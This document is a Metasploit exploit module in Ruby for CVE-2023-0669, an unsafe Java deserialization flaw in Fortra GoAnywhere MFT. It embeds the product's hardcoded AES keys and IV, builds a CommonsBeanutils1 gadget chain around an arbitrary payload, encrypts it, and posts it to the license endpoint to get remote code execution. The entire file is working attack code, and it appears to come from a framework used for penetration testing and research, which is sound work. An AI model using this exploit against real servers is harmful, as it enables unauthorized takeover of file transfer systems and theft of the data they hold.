## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::JavaDeserialization def initialize(info = {}) super( update_info( info, 'Name' => 'Fortra GoAnywhere MFT Unsafe Deserialization RCE', 'Description' => %q{ This module exploits CVE-2023-0669, which is an object deserialization vulnerability in Fortra GoAnywhere MFT. }, 'Author' => [ 'Ron Bowes', # Analysis and module ], 'References' => [ ['CVE', '2023-0669'], ['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'], ], 'DisclosureDate' => '2023-02-01', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'win'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Version 2 Encryption', { 'DefaultOptions' => { 'Version' => '$2', 'EncryptionKey' => '0e69a3839b6ecf45649b861f4a27171b66870c9567a4144ebaf3d52fdc4064ca', 'EncryptionIv' => '4145532f4342432f504b435335506164' } }, ], [ 'Version 1 Encryption', { 'DefaultOptions' => { 'Version' => '', 'EncryptionKey' => '678b5830bf8b8a2e0474b97d6cd18e845fbc4b11fca0d6af2db1eb114c29fc4b', 'EncryptionIv' => '4145532f4342432f504b435335506164' } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8001, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Unsafe deserialization endpoint', '/goanywhere/lic/accept']), ]) register_advanced_options([ OptString.new('Version', [false, 'A version value to append to the encrypted data']), OptString.new('EncryptionKey', [true, 'The encryption key to use (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/), OptString.new('EncryptionIv', [true, 'The initialization vector (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/), OptString.new('EncryptionAlgorithm', [true, 'The encryption algorithm', 'AES-256-CBC']) ]) end def build_cipher unless OpenSSL::Cipher.ciphers.any? { |cipher_name| cipher_name.casecmp?(datastore['EncryptionAlgorithm']) } raise Msf::OptionValidateError.new({ 'EncryptionAlgorithm' => 'The selected encryption algorithm is not supported by OpenSSL.' }) end cipher = OpenSSL::Cipher.new(datastore['EncryptionAlgorithm']) cipher.encrypt option_errors = {} iv = datastore['EncryptionIv'].scan(/../).map { |x| x.hex.chr }.join unless cipher.iv_len == iv.length option_errors['EncryptionIv'] = "The encryption IV is not the correct length (is: #{iv.length}, should be: #{cipher.iv_len})." end key = datastore['EncryptionKey'].scan(/../).map { |x| x.hex.chr }.join unless cipher.key_len == key.length option_errors['EncryptionKey'] = "The encryption key is not the correct length (is: #{key.length}, should be: #{cipher.key_len})." end raise Msf::OptionValidateError, option_errors unless option_errors.empty? cipher.iv = iv cipher.key = key cipher end def exploit vprint_status('Generating a serialized Java object with the payload') obj = generate_java_deserialization_for_payload('CommonsBeanutils1', payload) vprint_status('Encrypting the payload') cipher = build_cipher obj = cipher.update(obj) + cipher.final vprint_status('Sending request to the server') res = send_request_cgi( 'method' => 'POST', 'uri' => datastore['TARGETURI'], 'vars_post' => { 'bundle' => "#{Base64.urlsafe_encode64(obj)}#{datastore['Version'] || ''}" } ) fail_with(Failure::Unreachable, 'No response received from the target.') unless res if res.code != 500 fail_with(Failure::UnexpectedReply, "Expected the server to return HTTP/500, instead received HTTP/#{res.code}") end end end